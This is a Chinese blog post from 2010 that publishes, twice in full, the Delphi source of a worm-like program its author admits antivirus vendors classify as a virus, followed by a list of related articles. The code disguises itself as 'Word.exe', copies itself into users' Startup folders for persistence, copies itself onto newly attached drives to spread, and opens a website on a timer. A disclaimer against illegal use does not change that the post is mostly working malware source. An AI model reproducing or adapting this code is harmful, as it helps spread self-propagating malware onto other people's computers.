一个delphi开发的恶意程序代码
2010-05-10 08:54
507 查看
这个delphi程序是去年上半年为了测试病毒和病毒代码库所做的恶意程序,功能有:程序运行后,会将自己添加到系统启动项中,如果有u盘接入,会自动copy自己到优盘上,还可以在指定时间内,在系统后台进行某些操作,比如打开网页什么的,该程序已经在去年被列为病毒了。本文只做技术交流,请勿用于非法用途,出现任何问题,本人概不负责。下面时代码,dephi7开发,用了一个timer控件:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Controls, Forms,
Dialogs,ShellApi,StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
procedure WMDeviceChange(var Msg: TMessage); message WM_DEVICECHANGE;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.WMDeviceChange (var Msg: TMessage);
var
//myMsg : String;
m_Result,i:Integer;
str_temp:string;
buf:array [0..MAX_PATH-1] of char;
begin
Case Msg.WParam of
32768:
begin
//myMsg :='U盘插入';
//Label1.Caption:=myMsg;
m_Result:=GetLogicalDriveStrings(MAX_PATH,buf);
for i:=0 to (m_Result div 4) do
begin
str_temp:=string(buf[i*4]+buf[i*4+1]+buf[i*4+2]);
if getdrivetype(pchar(str_temp)) = DRIVE_CDROM then
begin
if str_temp ='E:\' then
CopyFile(Pchar(Application.ExeName),Pchar('F:\Word.exe'),False);
if str_temp ='F:\' then
CopyFile(Pchar(Application.ExeName),Pchar('G:\Word.exe'),False);
if str_temp ='G:\' then
CopyFile(Pchar(Application.ExeName),Pchar('H:\Word.exe'),False);
if str_temp ='H:\' then
CopyFile(Pchar(Application.ExeName),Pchar('I:\Word.exe'),False);
end;
end;
end;
32772:
begin
//myMsg :='U盘拔出';
//Label1.Caption:=myMsg;
end;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
if fileexists('C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\Word.exe') and fileexists('C:\Documents and Settings\new\「开始」菜单\程序\启动\Word.exe')then
else
CopyFile(Pchar(Application.ExeName),Pchar('C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\Word.exe'),False);
//FileSetAttr('C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\Word.exe',FILE_ATTRIBUTE_HIDDEN);
CopyFile(Pchar(Application.ExeName),Pchar('C:\Documents and Settings\new\「开始」菜单\程序\启动\Word.exe'),False);
//FileSetAttr('C:\Documents and Settings\new\「开始」菜单\程序\启动\Word.exe',FILE_ATTRIBUTE_HIDDEN);
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
strurl:string;
begin
StrUrl:='http://www.cnking.org';
ShellExecute(0,'open',pchar(StrUrl),nil,nil,SW_SHOW);
end;
end.本文出自 “网管小王” 博客,请务必保留此出处http://xiaowang.blog.51cto.com/1083/313303
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Controls, Forms,
Dialogs,ShellApi,StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
procedure WMDeviceChange(var Msg: TMessage); message WM_DEVICECHANGE;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.WMDeviceChange (var Msg: TMessage);
var
//myMsg : String;
m_Result,i:Integer;
str_temp:string;
buf:array [0..MAX_PATH-1] of char;
begin
Case Msg.WParam of
32768:
begin
//myMsg :='U盘插入';
//Label1.Caption:=myMsg;
m_Result:=GetLogicalDriveStrings(MAX_PATH,buf);
for i:=0 to (m_Result div 4) do
begin
str_temp:=string(buf[i*4]+buf[i*4+1]+buf[i*4+2]);
if getdrivetype(pchar(str_temp)) = DRIVE_CDROM then
begin
if str_temp ='E:\' then
CopyFile(Pchar(Application.ExeName),Pchar('F:\Word.exe'),False);
if str_temp ='F:\' then
CopyFile(Pchar(Application.ExeName),Pchar('G:\Word.exe'),False);
if str_temp ='G:\' then
CopyFile(Pchar(Application.ExeName),Pchar('H:\Word.exe'),False);
if str_temp ='H:\' then
CopyFile(Pchar(Application.ExeName),Pchar('I:\Word.exe'),False);
end;
end;
end;
32772:
begin
//myMsg :='U盘拔出';
//Label1.Caption:=myMsg;
end;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
if fileexists('C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\Word.exe') and fileexists('C:\Documents and Settings\new\「开始」菜单\程序\启动\Word.exe')then
else
CopyFile(Pchar(Application.ExeName),Pchar('C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\Word.exe'),False);
//FileSetAttr('C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\Word.exe',FILE_ATTRIBUTE_HIDDEN);
CopyFile(Pchar(Application.ExeName),Pchar('C:\Documents and Settings\new\「开始」菜单\程序\启动\Word.exe'),False);
//FileSetAttr('C:\Documents and Settings\new\「开始」菜单\程序\启动\Word.exe',FILE_ATTRIBUTE_HIDDEN);
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
strurl:string;
begin
StrUrl:='http://www.cnking.org';
ShellExecute(0,'open',pchar(StrUrl),nil,nil,SW_SHOW);
end;
end.本文出自 “网管小王” 博客,请务必保留此出处http://xiaowang.blog.51cto.com/1083/313303
相关文章推荐
- [微信小程序]组件化开发,以一个自定义模块框组件当做示例(附完整示例代码和效果图)
- [微信小程序]组件化开发,以一个自定义模块框组件当做示例(附完整示例代码和效果图)
- 开发一个delphi写的桌面图标管理代码
- MySvn--一个简单单机svn程序源码-delphi开发
- 提供一个Windows mobile Native UI 程序,循序渐进开发,并附有代码!
- 提供一个Windows mobile Native UI 程序,循序渐进开发,并附有代码!
- Source Insight是一个面向项目开发的程序编辑器和代码浏览器
- delphi 一个自动控制机的硅控板检测程序,用多线程和API,没有用控件,少做改动就能用 用485开发
- Java代码构建一个线程池 Java,线程池 [程序开发Java] IT.com.cn IT世界网
- 提供一个Windows mobile Native UI 程序,循序渐进开发,并附有代码!
- 欢迎报名参加Delphi教学研习营, 在一个星期内学会Delphi语言基础程序开发
- 【Qt5开发及实例】19、一个简单的画图程序
- 在ubuntu上使用wxWidgets成功开发一个图形界面程序
- C#程序开发中经常遇到的10条实用的代码
- 编写一个函数,实现把C/C++程序代码中的注释去掉,并把结果返回。
- 仅允许程序运行一个实例代码实现
- Java开发的程序之运行一个。
- 利用PS3和Linux搭建一个并行程序开发平台
- 一个WinForm记事本程序(包含主/下拉/弹出菜单/打开文件/保存文件/打印/页面设置/字体/颜色对话框/剪切版操作等等控件用法以及记事本菜单事件/按键事件的具体代码)
- 内文广告程序开发中遇到的一个问题